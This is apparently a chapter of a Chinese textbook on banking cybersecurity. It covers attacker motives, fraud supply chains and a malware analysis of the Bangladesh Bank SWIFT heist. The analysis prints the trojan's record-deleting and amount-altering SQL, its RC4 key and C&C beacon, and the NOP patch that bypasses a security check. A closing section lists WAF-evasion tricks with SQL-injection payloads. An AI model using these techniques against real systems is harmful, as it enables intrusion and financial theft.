随着传统银行业与信息化的完美融合,电子银行在互联网时代,尤其是移动互联网时代的发展可谓突飞猛进,呈现出交易规模跳跃式迅速增长,用户规模不断扩大,网银、手机银行替代率增加的显著特点,成为推动国民经济发展的催化剂,为人们的生活带来了前所未有的便利,同时,也给不法分子可乘之机,成为信息科技风险最大的行业之一。基于银行业的业务特点和信息系统现状,针对银行业的攻击也有其特点。本章以我国银行业的特点分析为起点,分析银行业信息安全面临的问题,逐步深入剖析银行业信息安全攻击的特点。
中国银行业得益于中国互联网的发展而蓬勃发展。据中国互联网络信息中心(CNNIC)统计,截至2017年6月,中国网民规模达到7.51亿,互联网普及率为54.3%(见图3-1)。其中,如图3-2所示,手机网民规模达7.24亿,网民使用手机上网的比例提升至96.3%。
图3-1 中国网民规模和互联网普及率
资料来源:CCNC中国互联网络发展状况统计调查。
图3-2 中国手机网民规模及其占整体网民比例
资料来源:CCNC中国互联网络发展状况统计调查。
网民在互联网上的金融活动也非常活跃,如图3-3所示,截至2017年6月,我国购买互联网理财产品的网民规模达到1.26亿,互联网理财使用率为16.8%。互联网理财市场历经几年的快速发展,理财产品日益增多,用户体验持续提升,网民在线上理财的习惯初步养成。
图3-3 2016.12~2017.6互联网理财用户规模及使用率
资料来源:CCNC中国互联网络发展状况统计调查。
如图3-4所示,截至2017年6月,我国使用网上支付的用户规模达到5.11亿,我国网民网上支付使用率提升至68.0%。其中,手机支付用户规模增长迅速,达到5.02亿,网民手机网上支付使用率提升至69.4%。
图3-4 2016.12~2017.6网上支付/手机网上支付用户规模及使用率
资料来源:CCNC中国互联网络发展状况统计调查。
以上统计数据充分展示了在互联网时代,银行业务与互联网的依存关系日益提升。
随着互联网金融的强势崛起,传统银行业务的互联网化转型已成为银行机构的优先战略选择,最大限度地实现在线金融业务对传统银行业务的替代,是提高商业银行竞争能力和可持续发展的关键所在。银行信息系统互联网化是业务需求的具体体现和必然趋势。
银行信息系统互联网化主要表现在:信息系统提供在线金融业务渠道日益多元。银行机构依托电子银行业务大力推进传统业务的互联网化转型,基本形成了网上银行、手机银行、电话银行、微信银行、自助银行五大在线金融交易渠道,能够为客户提供账户管理、转账汇款、贷款融资、信用卡、投资理财、电子商务等多样化的金融服务,满足不同客户的在线金融需求。
移动互联网化是互联网化中又一个重要的特点。以手机银行为代表的移动银行发展势头最为强劲。随着移动互联网的发展和智能手机的广泛使用,操作便捷的手机银行受到客户青睐,各大银行纷纷采取优惠促销、免除手续费等措施,鼓励和吸引客户使用移动银行,移动银行在银行业务中的比重不断上升。
对银行发起攻击的目的主要有四类,分别是获取经济利益、实现政治目的、彰显个人能力以及无目的自动化攻击。
银行在国民经济中的地位一直非常重要,银行信息系统的价值含量很高,银行的用户信息同样含有很高的价值,对银行的攻击存在很大的获利可能。大量黑客和地下黑色产业为了获利将银行选择为首要攻击目标。
当今社会呈现多元化特征,意识形态的冲突已不罕见,不仅是东西方之间,各种组织力量之间都存在意识形态冲突。黑客中有相当一部分在发生意识形态冲突时,会选择特定目标进行攻击,宣扬其政治思想。在这种攻击中,政府类网站成为目标的可能性最高,但银行也经常成为攻击目标,尤其是各国央行、政策银行等。
部分黑客为了彰显自己的能力,也会选择银行这种相对困难的对象进行攻击,一旦攻击成功,便能在黑客小圈子中获得名气。
黑客组织经常会针对某些特定漏洞,进行大范围的自动化攻击,拥有大量互联网资产的银行当然会成为受害者。这种攻击往往发生在某些严重漏洞刚刚公布时,黑客利用时间差编写自动化程序,使用自己控制的肉机,对大量IP进行无差别攻击。例如,Struts2漏洞发布时就发生了大规模机器自动化攻击的情况,不少银行设备被攻击。
银行是资金密集、信息量大、受影响程度高的行业,不法分子在对银行业进行攻击的过程中,会以以下几个方面作为攻击的目标。
攻击是需要成本的,黑客付出时间以及若干资源来攻击银行,大部分还是为了获利。盗取银行系统中的资金,是最直接的获利方式。所以直接对资金进行的攻击是银行业攻击中最为常见的一类。
银行通过为客户办理存款、贷款、理财、电子银行、银行卡等金融服务,掌握了客户的个人、法人客户信息,如姓名、身份证号码、账户、联系方式、资产状况等。这些信息都非常有价值,其中银行卡号、姓名、手机号、身份证号等客户信息更是黑色交易市场的抢手货。客户信息的泄露不仅牵涉到隐私的泄露问题,还有可能被用来进行下一步的攻击。
与盗取资金的难度相比,获取用户信息容易得多,所以客户信息成为大量黑客的现实目标。
设备特别是内网设备的控制权一直是黑客攻击的重要目标,通过控制设备,就能够以之为跳板,进行深入的攻击。
导致服务受影响甚至服务瘫痪的DDoS攻击一直是信息安全领域中最容易发起而且难以防范的典型攻击方式。黑客在无法有效攻击银行信息系统时,采取DDoS等外围攻击方式同样威胁非常大,尤其是在基于政治因素发起的攻击中,采用DDoS攻击的比重非常高。
由于银行业的业务特点,银行业信息系统安全建设至关重要,在任何一个环节出现问题,都会影响到整个系统的发展,从而带来严重的负面影响 [8] 。因此,银行对信息安全建设的投入相对于其他行业更多,信息系统安全保障措施相对更加完善。
对攻击者来说,完善的安全保障措施意味着攻击更加困难,需要更高的技术和更丰富的资源,因此,初学者不会选择银行作为攻击对象,往往是大型黑客组织和具备一定实力的黑客被银行的巨大利益所诱惑而发动攻击。
中高级黑客的资源有限,一般不能独立完成针对银行的完整攻击,通常会选择几个方式:一是参与到黑色产业链中,成为黑色产业链的一环,通过在产业链中的交易,实现自己的盈利;二是规避复杂的业务,针对其中安全性较差的部分,或者某种疏漏进行攻击,成功之后,一般不做深度攻击,只在黑客圈中炫耀。
大型黑客组织是银行的主要攻击者,它们通常具备丰富的武器资源,能够针对银行业的特性发起有效的攻击。并且银行业保有充足的资金,足以保障黑客攻击成功之后的收益。
金融行业是国家的重要行业,金融行业系统的瘫痪将会影响到整个国家经济的正常运转,因此银行业完全有可能成为某些国家网军的攻击目标。2013年,韩国银行业遭受的大范围的攻击中就有国家级攻击的影子。
国家级攻击通常引而不发,非常隐蔽,案例很少,难以清晰展示其特点。
总体来说,国家级攻击主要通过埋伏漏洞、使用定制木马、依赖雄厚的资源库、投入间谍等手段构造攻击生态链,达到能够定时定向发起网络打击的目的。
相对于传统网络攻击,APT攻击是一个计划周密、具备完整过程体系的攻击过程。攻击的主要环节包括社会工程学、漏洞利用、逐层渗透、获取数据、回传数据或销毁数据、持续渗透和长期潜伏等。因此,APT攻击能轻易穿越传统的网络安全防护系统,给目标组织系统造成巨大危害。银行因为其拥有的雄厚资金储备而成为APT攻击的重要目标。
下面结合孟加拉国央行的攻击案例来探讨银行业APT攻击的特点。
孟加拉国央行的攻击案例中使用的木马程序evtdiag.exe是专门针对SWIFT系统定制的(见图3-5)。evtdiag.exe可以用不同的参数来启动,主要功能是以Windows服务启动的进程来实现的。通过配置文件读取攻击所需要的信息,如CC服务器地址、SWIFT报文关键字段、收款人等,然后通过实时监听转账交易缓存记录,实时劫持到转账所需要的消息ID,并在数据库中删除该交易记录。接下来恶意程序通过监控日志查找受害银行的登录行为,如果没有找到,则“睡眠”5秒后再次搜索。当监控到登录行为后,攻击者绕过SWIFT客户端的安全机制,监控关键目录下的缓存报文信息并解析,根据解析结果获得转账账户当前最大可用余额,并成功篡改交易金额和收款人,达到窃取资金的目的。此外,恶意程序还劫持打印机,篡改需要打印的对账单,避免银行业务人员发现篡改行为,从而延长了银行追查资金的时间,让黑客有更多的时间去洗钱。
图3-5 定制木马攻击
显然这种单独为某一业务而定制的系统,攻击针对性更强,但成本也更高,适合攻击银行等资金密集的机构。
孟加拉国央行攻击案的攻击者做了十分充分的准备工作,下面仅仅是其中的部分。
(1)SWIFT系统详情。SWIFT又称环球同业银行金融电信协会,是国际银行同业间的国际合作组织,成立于1973年,总部设在比利时的布鲁塞尔,同时在荷兰阿姆斯特丹和美国纽约分别设立交换中心(Swifting Center),并为各参加国开设集线中心(National Concentration),为国际金融业务提供快捷、准确、优良的服务。目前全球大多数国家的大多数银行已采用SWIFT系统。SWIFT系统的使用,为银行的结算提供了安全、可靠、快捷、标准化、自动化的通信服务,从而大大提高了银行的结算速度。
1)SWIFT银行识别代码。每个银行申请加入SWIFT组织时,SWIFT会根据统一原则分配属于该行的SWIFT地址代码(相当于一个银行账户),即银行识别码(Bank Identifier Code,BIC),它是由电脑可以自动判读的8位或11位英文字母或阿拉伯数字组成的,以中国银行北京分行为例,如图3-6所示。
图3-6 中国银行北京分行的SWIFT地址代码
2)SWIFT提供的服务。接入服务(Connectivity)包括SWIFT Alliance Access and Entry、SWIFT Alliance Gateway、SWIFT Alliance Webstation、File Transfer Interface等接入模式;金融信息传送服务(Messaging)包括SWIFTNetFIN、SWIFTNetInterAct、SWIFTFileAct、SWIFTNeBrowse等传输模式;交易处理服务(Transaction Processing)提供交易处理匹配服务、实时报告的双边净额清算服务、支持B2B商务中的端对端电子支付等;分析服务与分析工具(Analytical Services/Tools)向金融机构提供一些辅助性的服务。
3)SWIFT报文。SWIFT报文共有10类,如表3-1所示。
表3-1 SWIFT报文的主要分类
银行常用的SWIFT报文格式如表3-2所示。
表3-2 银行常用的SWIFT报文格式
4)SWIFT系统架构。SWIFT网络由许多分布在世界各地的计算机和网络设备组成,这些设备在SWIFT网络中称为节点。目前,SWIFT采用UNISYS公司的A系列主机作为系统控制处理机(SCP)和片处理机(SP)。SWIFT的系统构架如图3-7所示。
图3-7 SWIFT系统构架图
①系统控制处理机。
整个SWIFT网络的控制集中在两个操作中心,一个在美国,一个在荷兰。SCP负责整个SWIFT网络的正常运行,不断监测直辖市、控制网络中的各种设备、线路和用户访问。在美国、荷兰的操作中心,各有两台SCP,在任何时刻,只有一台处于激活状态,控制整个网络,其余三台SCP处于热备份状态,在激活SCP出现故障时,备份SCP被激活,保证了网络的安全可靠性。
②片处理机(Slice Processor,SP)。
SP负责电报的存储转发和控制电报的路由选择。目前,两个操作中心各有两台SP处于激活状态,同时每个激活的SP都有一台同型号的SP进行热备份。为适应发报量不断增长的需要,还要陆续增加SP。
③地区处理机(Regional Processor,RP)。
RP是连接SWIFT网络终端(computer based terminal,CBT)与SWIFT系统的安全有效的逻辑通道,运行在RP上的软件与运行在CBT上的接口软件通信,所有用户发出的电报都由RP对其格式、语法、地址代码等进行审核,合格后才能发往SP,在电报即将出网进入CBT前,也暂时存在RP上,等待送达接收用户。每台RP基本上承担一个国家的电报处理,所以称之为地区处理机,所有的RP都在美国和荷兰的两大操作中心内。
④SWIFT访问点(SWIFT Access Point,SAP)和远程访问点(RAP)。
SAP是连接SWIFT骨干网(SWIFT Transport Network,STN)的分组交换节点机,它们把SWIFT系统的各种处理机(SCP、SP、RP)和遍布世界的SWIFT用户连接到STN网上。目前,SAP采用北方电信公司的DPN100交换机,整个SWIFT骨干网有150台左右DPN100交换机(包括备份)。
5)用户与SAP的连接。用户访问SWIFT系统需要有一套计算机系统与SWIFT系统相连接,这套计算机系统称为计算机关联终端(Computer Based Terminal,CBT),CBT中运行的SWIFT接口软件与SWIFT系统通信。目前有多个计算机公司开发的运行在多种平台上的SWIFT接口软件。
CBT支持一个或几个逻辑终端(LT),在一个物理的CBT支持几个LT(即一个用户定义几个LT)的情况下,SWIFT系统将每个LT在逻辑上看成相互独立的。一个LT必须登录到SWIFT系统,也就是必须与SWIFT系统的服务应用建立对话关系。
6)访问SWIFT系统流程。在SWIFT系统中,一个LT需要登录到SWIFT系统才可以建立应用对话关系,而SWIFT提供的用户之间的电报交换功能是用户进入两种SWIFT应用层才能实现的,这两种应用是:①GPA(General Purpose Application),它是基于SWIFT网络最主要的应用,提供用户与系统有关的各类电报,并能控制用户对FIN应用的访问;②FIN(Financial Application),它是基于SWIFT网络最主要的应用,包括全部用户之间的业务电报和FIN系统电报,即日常银行发送、接收、制作的业务报文都基于FIN服务,比如MT103、MT700等报文。一个LT具体的登录流程如图3-8所示。
图3-8 LT具体的登录流程
(2)准备收款账号。从攻击情况看,黑客在入侵了孟加拉国的银行系统、偷走转账支付的机密信息后,向美联储连发30多条指令,要求将孟加拉国央行账上的款项分别转移至菲律宾和斯里兰卡的机构。
该攻击已经使用的收款账号有30个,实际的账号肯定远多于30,这些账号都标记为非营利组织,意味着还需要准备配套的虚假组织资料来申请账号。
同时,黑客为了让收到的钱迅速转走并取出,还需要准备大量的中转账号、取款账号。
犯罪份子为了确保万无一失,会从不同国家申请这些账号,以充分利用国家之间协同的困难,赢得更多的作案时间和逃跑时间。可见准备收款账号的工作量也很大。
仅从以上两个环节,就可以看出攻击前准备工作的艰难与复杂。犯罪份子突破银行的监管尤其是资金监管,把资金盗出并安全取走,需要在攻击前进行大量的准备工作。
(1)潜伏等待作案时机。孟加拉国央行的攻击案在发起最后的转账攻击前,有着耐心的潜伏攻击者在最后转账前控制SWIFT Alliance Access Software,通过种植精心编译的木马得到SWIFT Alliance Access Software服务器的权限,重点攻破以下几个关卡以达到窃取非法资金的目的:
根据获取到的信息,恶意软件样本如表3-3所示。
表3-3 恶意软件样本
从中可以看出攻击者不仅有良好的恶意软件编写功底,还对整个SWIFT架构业务非常熟悉,甚至对数据库的表结构都了如指掌。
(2)恶意文件的启动。启动恶意程序evtdiag.exe时接收不同的启动参数,从而达到不同的功能。接收的参数有-svc、-g、-p、resume、pause、on、off、queue,其中on、pause、resume、off、queue都是对打印机功能的操作,-svc参数则是将木马以windows服务方式启动,服务名为evtsys.exe,如图3-9所示。
图3-9 恶意文件的启动
在运行时,恶意软件通过读取它的配置文件gpca.dat,该配置文件在服务器的路径如下。
[ROOT_DRIVE]:\Users\Administrator\AppData\Local\Allians\gpca.dat
而且通过RC4加密,密钥如下。
4e381fa77f08ccaa0d56edeff9ed08ef
该恶意软件还通过以下文件来记录恶意程序的日志信息。
[ROOT_DRIVE]:\Users\Administrator\AppData\Local\Allians\recas.dat
[ROOT_DRIVE]:\Users\Administrator\AppData\Local\Allians\mcm\in\ [ROOT_DRIVE]:\Users\Administrator\AppData\Local\Allians\mcm\out\
猜测这两个目录保存的转入/转出报文的临时文件,而*PRC和*FAL文件则是转账对应的报文。恶意程序会深入解析这两种格式的文件,根据配置文件gpca.dat定义的字符串进行搜索,定义的字符串如下。
FIN900ConfirmationofDebit(FIN900确认借记) 20:Transaction(20:交易) Sender:(汇款方)
如果搜索到了指定的字符串则会尝试提取MESG_TRN_REF(汇款人)和MESG_SENDER_SWIFT_ADDRESS(汇款人SWIFT地址)信息,紧接着可以通过MESG_TRN_REF和MESG_SENDER_SWIFT_ADDRESS这两个值拼接成一个SQL语句,来获得唯一的SWIFT消息ID。
SELECTMESG_S_UMID FROMSAAOWNER.MESG_%s WHEREMESG_SENDER_SWIFT_ADDRESSLIKE'%%%s%%'ANDMESG_TRN_REFLIKE'%%%s%%';
获得该SWIFT消息ID后,在本地数据库中删除本条交易记录。
DELETEFROMSAAOWNER.MESG_%sWHEREMESG_S_UMID='%s'; DELETEFROMSAAOWNER.TEXT_%sWHERETEXT_S_UMID='%s';
代码如图3-10所示。
图3-10 代码
这里解释一下MESG_S_UMID以及这个操作的含义。根据业内人士介绍,MESG_S_UMID所对应的银行收到的汇款请求ID,该ID对应的记录包含了汇款请求所需要的各种信息,包括转账账户、收款账户、汇款金额、汇款银行等。从业务场景分析来看,被攻击的银行实际是个代理行,在正常的业务流程下,代理行在接收到汇款请求后,确认无误后再转发给SWIFT系统的下一个结点,而在代理行被攻击的场景下,代理行收到的汇款请求被攻击者从数据库中删除,即意味着正常的汇款交易请求记录在数据库中被删除了。
接下来所有需要执行的SQL语句都被劫持,并保存到以SQL开头的临时文件中,而且所有的SQL语句执行前把数据的异常输出都关闭,确保不被系统或管理员发现异常。
SETHEADINGOFF; SETLINESIZE32567; SETFEEDBACKOFF; SETECHOOFF; SETFEEDOFF; SETVERIFYOFF;
SQL临时文件构成后,恶意软件通过以下命令在终端以sysdba的权限来执行SQL语句,如图3-11所示。
图3-11 以sysdba的权限执行SQL语句
之后恶意程序进入一个循环,它将一直在数据库中搜索包含“登录”的日志记录:
SELECT* FROM(SELECTJRNL_DISPLAY_TEXT,JRNL_DATE_TIME FROMSAAOWNER.JRNL_%s WHEREJRNL_DISPLAY_TEXTLIKE'%%LTBBHOBDDHA:Log%%'ORDERBYJRNL_DATE_TIMEDESC)A WHEREROWNUM=1;
注:BBHOBDDH为孟加拉国在达卡的SWIFT代码,即孟加拉国央行。
如果没有搜索到“登录”记录,则休眠5秒,然后再次尝试搜索。
如果搜索到“登录”记录,则向C&C服务器发送一个GET请求,GET请求格式如下。
[C&C_server]/al?[data]
data有以下三种情况:
—O:Open,检测到登录行为;
—C:Close,检测到注销行为;
—N:None,没有事件发生。
具体操作如图3-12所示。
图3-12 恶意程序循环
恶意软件通过遍历所有的进程信息,如果找到一个挂载了liboradb.dll的进程,那么它会在进程的特定偏移地址更改2个字节数据。实际操作是用NOP指令(0×90,0×90)替换JNZ指令(0×75,0×04),这是软件暴力破解最常用的手段之一(见图3-13)。这个关键跳的作用就是判断报文是否符合安全校验的关键跳,而报文在SAP/RAP,RP节点只对报文的格式规范进行校验,缺少对安全性的校验,因此可以成功绕过SWIFT的报文安全校验机制。
图3-13 用NOP指令替换JNZ指令
这样更改的效果是重要的安全检验结果将被忽略,安全校验代码永远执行不了“失败”,而且保存校验结果的eax寄存器都是赋值0(意味着成功)。该liboradb.dll是属于SWIFT Alliance Access软件的组件之一,负责的功能有:
根据上述内容可知恶意软件通过修改SWIFT’s Alliance Access软件达到劫持的目的,攻击者可以在服务器上操作SWIFT报文和数据库的控制权限。
[ROOT_DRIVE]:\Users\Administrator\AppData\Local\Allians\mcp\in\*.* [ROOT_DRIVE]:\Users\Administrator\AppData\Local\Allians\mcp\out\*.* [ROOT_DRIVE]:\Users\Administrator\AppData\Local\Allians\mcp\unk\*.* [ROOT_DRIVE]:\Users\Administrator\AppData\Local\Allians\mcs\nfzp [ROOT_DRIVE]:\Users\Administrator\AppData\Local\Allians\mcs\nfzf [ROOT_DRIVE]:\Users\Administrator\AppData\Local\Allians\mcs\fofp [ROOT_DRIVE]:\Users\Administrator\AppData\Local\Allians\mcs\foff
"19A:Amount" ":Debit" "Debit/Credit:" "Sender:" "Amount:" "FEDERALRESERVEBANK" "D" "C" "62F:" "60F:" "60M:" "62M:" "Credit" "Debit" "64:" "20:Transaction" "90B:Price"
其中,62F指该对账单结束时的账面结存的最后余额;60F指该对账单结束时的账面结存的起始余额;19A指该对账单涉及的交易金额。
恶意软件通过以上关键字搜索到了所需要的信息,然后通过MESG_S_UMID查询有多少余额可以转账。
SELECTMESG_FIN_CCY_AMOUNTFROMSAAOWNER.MESG_%sWHEREMESG_S_UMID='%s';
另外该恶意软件也可以通过上一步查询到的余额和汇款方SWIFT地址来获得唯一的SWIFT消息ID(MESG_S_UMID)。
SELECTMESG_S_UMID FROMSAAOWNER.MESG_%s WHEREMESG_SENDER_SWIFT_ADDRESSLIKE'%%%s%%'AND MESG_FIN_CCY_AMOUNTLIKE'%%%s%%';
最后可以通过UPDATE操作,将转账消息中的交易余额更改为之前得到的最多可用余额。
(MESG_FIN_CCY_AMOUNT) UPDATESAAOWNER.MESG_%sSETMESG_FIN_CCY_AMOUNT='%s'WHEREMESG_S_UMID='%s'; UPDATESAAOWNER.TEXT_%sSETTEXT_DATA_BLOCK=UTL_RAW.CAST_TO_VARCHAR2('%s')WHERETEXT_S_UMID='%s';
其中,TEXT_DATA_BLOCK字段包含了汇款的金额、收款人信息。变量v27是从sub_40B6F0和sub_40A4C0函数中处理得到的,通过进一步分析sub_40B6F0函数得知,该变量综合了之前获得的60F、62F、60M、62M等转账汇报信息,经过处理后传输执行SQL语句的函数,最终达到篡改金额的目的。
图3-14
以上的操作已经可以在SWIFT系统中进行任意的转账了,但仅仅这些还是不够的,因为SWIFT系统在进行转账业务时仍会打印对账单(MT950)进行确认。对账单是通过打印机打印的,这个过程就如同个人去银行柜台办理业务时,银行通常会打印办理业务确认信息单供客户签字确认一样,如果打印机直接打印篡改后的转账记录,那么银行业务员可以在第一时间发现异常行为,这直接会暴露攻击者的意图从而令转账失败。因此攻击者编写了劫持打印对账单的恶意程序—nroff.exe。
通过分析nroff.exe得知,该程序接收以下参数。
该恶意程序通过劫持要打印的对账单进行读取,理解并篡改成打印机命令语言(PCL)的PRT文本,然后这个PRT文本通过nroff.exe程序进行提交打印任务,随即将临时PRT文本彻底删除。
在本案例中攻击者未被发现,所以没有触发最后的扫尾工作。但在攻击过程中,攻击者为了隐蔽自身的攻击行为,会进行清除痕迹的扫尾工作,使取证工作的难度大大增加。
针对银行的另外一种攻击方式是产业链式攻击,这种攻击不像APT攻击一样依靠精准攻击,而是对大量的银行客户进行碰撞攻击,并保证一定的成功率来实现最终的获利。
在产业链攻击中,不同环节之间是松散的,通过具体工种的分工合作来完成最终的攻击。下面介绍一个典型的分工合作模式来帮助读者理解产业链攻击的特点。
这一环节主要是为网络诈骗提供各种技术工具,如木马病毒、钓鱼网站等。同时各类账号密码和个人信息也是网络诈骗活动中不可或缺的关键素材。开发制作环节的产业分析如表3-4~表3-6所示。
表3-4 网络钓鱼产业分析
表3-5 木马开发黑灰产分析
表3-6 盗库黑灰产分析
总体来说,开发制作环节的黑灰产职业带有明显的黑客性质,在整个网络诈骗产业链中属于技术支持的类型,他们通常不会直接参与网络诈骗的实施过程,往往隐藏较深,不易被发现。
这一环节的主要作用是承上启下,对接黑灰产技术开发与黑灰产市场应用。这一环节的从业人员主要从黑客手中购买木马病毒、钓鱼网站和个人信息等,之后转卖给真正实施网络诈骗的团伙,并从中获利,具有较为鲜明的商业特点。黑灰产信息及工具流转产业分析如表3-7~表3-10所示。
表3-7 钓鱼类流转产业分析
表3-8 恶意/虚假域名产业分析
表3-9 个信产业分析
表3-10 卡虚假注册产业分析
黑灰产信息和工具流转环节在整个网络诈骗犯罪过程中往往起到至关重要的作用,而且从业者在这个环节会同时向多个诈骗犯罪团提供“犯罪工具”,所以此环节对社会的实际危害要远远超过单个具体实施网络诈骗的犯罪团伙。但是,由于涉及这个环节的人员通常不会直接参与网络诈骗的具体活动,不能受到现行法律制度的多方面制约,故难以受到较为严厉的处罚。
网络诈骗犯罪的实施主体通常是诈骗实施环节中的犯罪分子。事实上,这类群体既不是直接拿走资金的人,也不是诈骗犯罪活动中获利最多的人,而通常只是参与分赃的一类群体。但我们对网络诈骗犯罪分子的认识和了解基本都集中在这些人身上。诈骗实施环节产业分析如表3-11~表3-13所示。
表3-11 电话诈骗产业分析
表3-12 短信群发代理的职业分析
表3-13 在线推广产业分析
诈骗一旦实施成功,就进入了分赃销赃的环节。这也是一个非常专业的技术领域,但其中也有一些可怜的甚至不知道自己为什么会被抓的从业人员。分赃销赃环节产业分析如表3-14~表3-16所示。
表3-14 账务转移产业分析
表3-15 ATM取现员的职业分析
表3-16 分赃中间人的职业分析
银行业网络部署了大量的网络安全设备,这些网络安全设备可以对“可以识别”的网络安全攻击进行防御,但是一些高级的攻击者掌握了大量绕过规避网络安全设备的技术和手段,使得银行投入大量资金采购的网络安全设备被绕过。
2010年,芬兰的Stonesoft公司宣布发现了一种新型的高级逃逸技术(Advanced Evasion Technique,AET),可以轻松躲避目前的IPS/IDS检测,成功入侵目标服务器,震惊了信息安全界。
这个技术的证据之一,就是近年来令大家迷惑的未知攻击越来越多,未知攻击就是只有被攻击的事实,却不知道黑客采用了什么手段,何时进行的入侵。遗憾的是,目前的安全措施都没有发现这种高级逃逸技术的踪迹。
(1)躲避技术分类。
(2)躲避方向分类。
(1)IPS逃逸技术。IPS功能主要基于网络数据包检测攻击特征,并检测部分病毒、木马和恶意软件功能。通常情况下IPS设备工作流程如下。
针对上述流程,IPS逃逸技术利用安全设备与目标主机对协议、字符集及组合处理差异,合理逃逸安全检查。典型的IPS逃逸技术包括以下几种,如图3-15所示。
上述IPS逃逸技术具有针对性的,根据IPS品牌及特性,攻击者会尝试不同的技术组合,达到逃避攻击检测的目的。
图3-15 典型的IPS逃逸技术
(2)WAF逃逸技术。WAF逃逸技术有以下几种方式。
1)动作替换。用GET替换POST,有效场景:IIS(ASP classic,ASPX,PHP),如图3-16所示。
图3-16 动作替换
2)改变内容结构。文件上传中经常使用“multipart/form-data”进行分片,通过分片可以将攻击特征分散在多个HTTP分片请求中,从WAF的视角来看,每个分片请求中没有攻击。但是,从Web服务器的视角来看,分片重组后,攻击代码也被重组成功了,从而达成绕过WAF而攻击仍然可以成功。可在以下平台中工作。
改变内容结构的示例如图3-17所示。
图3-17 改变内容结构
3)删除HTTP标志逃过数据重组。以下情况可以删除最后的“--”:Nginx, uWSGI-Django-Python 2&3、 Apache-PHP5(mod_php & FastCGI)、IIS (ASPX, PHP);以下情况可以删除“form-data;”: Apache-PHP5(mod_php & FastCGI) 、IIS (ASPX,PHP),如图3-18所示。
图3-18 删除HTTP标志逃过数据重组
4)垃圾数据填充。垃圾数据填充,扰乱正常解析,如加多余的HEADER、重复的参数、无用的填充、空格等,如图3-19所示。CRLF在“Content-Disposition:”之后,空格之前,可在PHP、ASPX等平台上工作。
图3-19 垃圾数据填充
5)改变请求编码。如可以采用非常用的编码方式进行编码,从WAF检测引擎来观察,看到的是乱码,而实际为攻击代码,改变请求编码示例如下。
实验成功平台为Nginx,uWSGI-Django-Python 2,3、Apache-TOMCAT 7/8-JVM1.6/ 1.8-JSP、IIS (ASPX)。
编码前为:
00000000h: 47 45 54 20 2F 70 61 74 68 2F 73 61 6D 70 6C 65 ; GET /path/sample 00000010h: 2E 61 73 70 78 3F 69 6E 70 75 74 30 3D 30 20 48 ; .aspx?input0=0 H 00000020h: 54 54 50 2F 31 2E 31 0D 0A 48 4F 53 54 3A 20 76 ; TTP/1.1..HOST: v 00000030h: 69 63 74 69 6D 2E 63 6F 6D 0D 0A 43 6F 6E 74 65 ; ictim.com..Conte 00000040h: 6E 74 2D 4C 65 6E 67 74 68 3A 20 31 30 39 0D 0A ; nt-Length: 109.. 00000050h: 43 6F 6E 74 65 6E 74 2D 54 79 70 65 3A 20 6D 75 ; Content-Type: mu 00000060h: 6C 74 69 70 61 72 74 2F 66 6F 72 6D 2D 64 61 74 ; ltipart/form-dat 00000070h: 61 3B 20 62 6F 75 6E 64 61 72 79 3D 31 A3 AC 62 ; a; boundary=1,b 00000080h: 6F 75 6E 64 72 79 3D 79 78 6C 69 6E 6B 0D 0A 2D ; oundry=yxlink..- 00000090h: 2D 31 0D 0A 2D 2D 31 0D 0A 43 6F 6E 74 65 6E 74 ; -1..--1..Content 000000a0h: 2D 44 69 73 70 6F 73 69 74 69 6F 6E 3A 20 6E 61 ; -Disposition: na 000000b0h: 6D 65 3D 22 69 6E 70 75 74 31 22 3B 20 66 69 6C ; me="input1"; fil 000000c0h: 65 6E 61 6D 65 20 20 20 3D 22 74 65 73 74 2E 6A ; ename ="test.j 000000d0h: 70 67 22 0D 0A 27 75 6E 69 6F 6E 20 61 6C 6C 20 ; pg"..'union all 000000e0h: 73 65 6C 65 63 74 20 2A 20 66 72 6F 6D 20 75 73 ; select * from us 000000f0h: 65 72 73 A1 AA 0D 0A 2D 2D 31 0D 0A ; ers—..--1..
编码后为:
6)Chunked encoding组块编码
组块编码前为:
组块编码后为:
7)浮点数替代空格。采用news.php?id=-1.0union select 1,version(),如图3-20所示。
图3-20 浮点数替代空格
8)%00绕过自学习。%00编码很多WAF的解码引擎解码为Dx00,即表示字符串的终止,WAF引擎会抛弃检查Dx00以后的内容,但是对于Web服务器来说,会把请求参数名称的‰00替换为空,而继续执行。如采用id‰00=替代id=采用id%00=替代id=,如图3-21所示。
图3-21 %00绕过自学习
9)反引号替代引号。使用反引号替代正常引号,如图3-22所示。
图3-22 使用反引号替代正常引号